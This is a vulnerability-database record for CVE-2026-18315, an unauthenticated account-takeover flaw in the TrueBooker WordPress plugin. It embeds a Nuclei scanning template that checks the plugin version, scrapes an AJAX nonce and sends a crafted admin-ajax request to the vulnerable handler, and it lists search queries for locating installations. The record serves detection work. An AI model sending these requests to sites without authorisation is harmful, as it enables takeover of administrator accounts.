{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-18315/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-18315/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-18315/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-18315/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-18315/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-18315"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-18315"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2026/CVE-2026-18315.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2026-18315\n\ninfo:\n  name: TrueBooker <= 1.2.6 - Unauthenticated Authorization Bypass\n  author: 0x_Akoko\n  severity: critical\n  description: |\n    TrueBooker – Appointment Booking and Scheduler System WordPress plugin <= 1.2.6 contains an authorization bypass through user-controlled key caused by lack of authentication in admin_user_create_cus AJAX handler, letting unauthenticated attackers take over any user account by overwriting email and using lost-password flow, exploit requires no authentication.\n  impact: |\n    Unauthenticated attackers can take over any user account, including administrators, leading to full account compromise.\n  remediation: |\n    Update to the latest version of the TrueBooker plugin.\n  reference:\n    - https://patchstack.com/database/wordpress/plugin/truebooker-appointment-booking/vulnerability/wordpress-truebooker-plugin-1-2-6-unauthenticated-authorization-bypass-through-user-controlled-key-to-account-takeover-to-truebooker-wp-user-id-parameter-vulnerability\n    - https://github.com/nastar-id/CVE-2026-18315-PoC\n    - https://plugins.svn.wordpress.org/truebooker-appointment-booking/tags/1.2.6/main/function_ajax.php\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-18315\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-18315\n    epss-score: 0.03026\n    epss-percentile: 0.87508\n    cwe-id: CWE-639\n  metadata:\n    verified: true\n    max-request: 6\n    vendor: truebooker\n    product: truebooker-appointment-booking\n    fofa-query: body=\"truebooker-appointment-booking\"\n    publicwww-query: \"/wp-content/plugins/truebooker-appointment-booking/\"\n  tags: cve,cve2026,wordpress,wp,wp-plugin,truebooker,auth-bypass,account-takeover,unauth,vkev\n\nflow: |\n  if (!http(1)) { stop(); }\n  http(2);\n  if (!template[\"nonce\"]) { http(3); }\n  if (!template[\"nonce\"]) { http(4); }\n  if (!template[\"nonce\"]) { http(5); }\n  if (!template[\"nonce\"]) { stop(); }\n  http(6);\n\nhttp:\n  - raw:\n      - |\n        GET /wp-content/plugins/truebooker-appointment-booking/readme.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"TrueBooker\")'\n          - 'compare_versions(plugin_version, \"<= 1.2.6\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: plugin_version\n        group: 1\n        regex:\n          - '(?i)Stable tag:\\s*([0-9.]+)'\n        internal: true\n\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    host-redirects: true\n    max-redirects: 2\n\n    extractors:\n      - type: regex\n        name: nonce\n        group: 1\n        regex:\n          - 'ajax_object\\s*=\\s*\\{[^}]*?\"nonce\"\\s*:\\s*\"([a-zA-Z0-9]+)\"'\n        internal: true\n\n  - raw:\n      - |\n        GET /booking/ HTTP/1.1\n        Host: {{Hostname}}\n\n    host-redirects: true\n    max-redirects: 2\n\n    extractors:\n      - type: regex\n        name: nonce\n        group: 1\n        regex:\n          - 'ajax_object\\s*=\\s*\\{[^}]*?\"nonce\"\\s*:\\s*\"([a-zA-Z0-9]+)\"'\n        internal: true\n\n  - raw:\n      - |\n        GET /appointment/ HTTP/1.1\n        Host: {{Hostname}}\n\n    host-redirects: true\n    max-redirects: 2\n\n    extractors:\n      - type: regex\n        name: nonce\n        group: 1\n        regex:\n          - 'ajax_object\\s*=\\s*\\{[^}]*?\"nonce\"\\s*:\\s*\"([a-zA-Z0-9]+)\"'\n        internal: true\n\n  - raw:\n      - |\n        GET /schedule/ HTTP/1.1\n        Host: {{Hostname}}\n\n    host-redirects: true\n    max-redirects: 2\n\n    extractors:\n      - type: regex\n        name: nonce\n        group: 1\n        regex:\n          - 'ajax_object\\s*=\\s*\\{[^}]*?\"nonce\"\\s*:\\s*\"([a-zA-Z0-9]+)\"'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=admin_user_create&security={{nonce}}&alldata=truebooker_wp_user_id%3D1\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"fname-error-front\", \"tba-popconfirm\", \"truebooker_error\")'\n        condition: and\n# digest: 490a004630440220638f15860f3743e0a1e7f7750aeda1bc45fc4d094fbedad2b96ac683f0bf704202203aa6e19fc4a9fafb1d8353239d0d7267532462256e0e3c8383f35e91f4774f11:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2026-18315"
}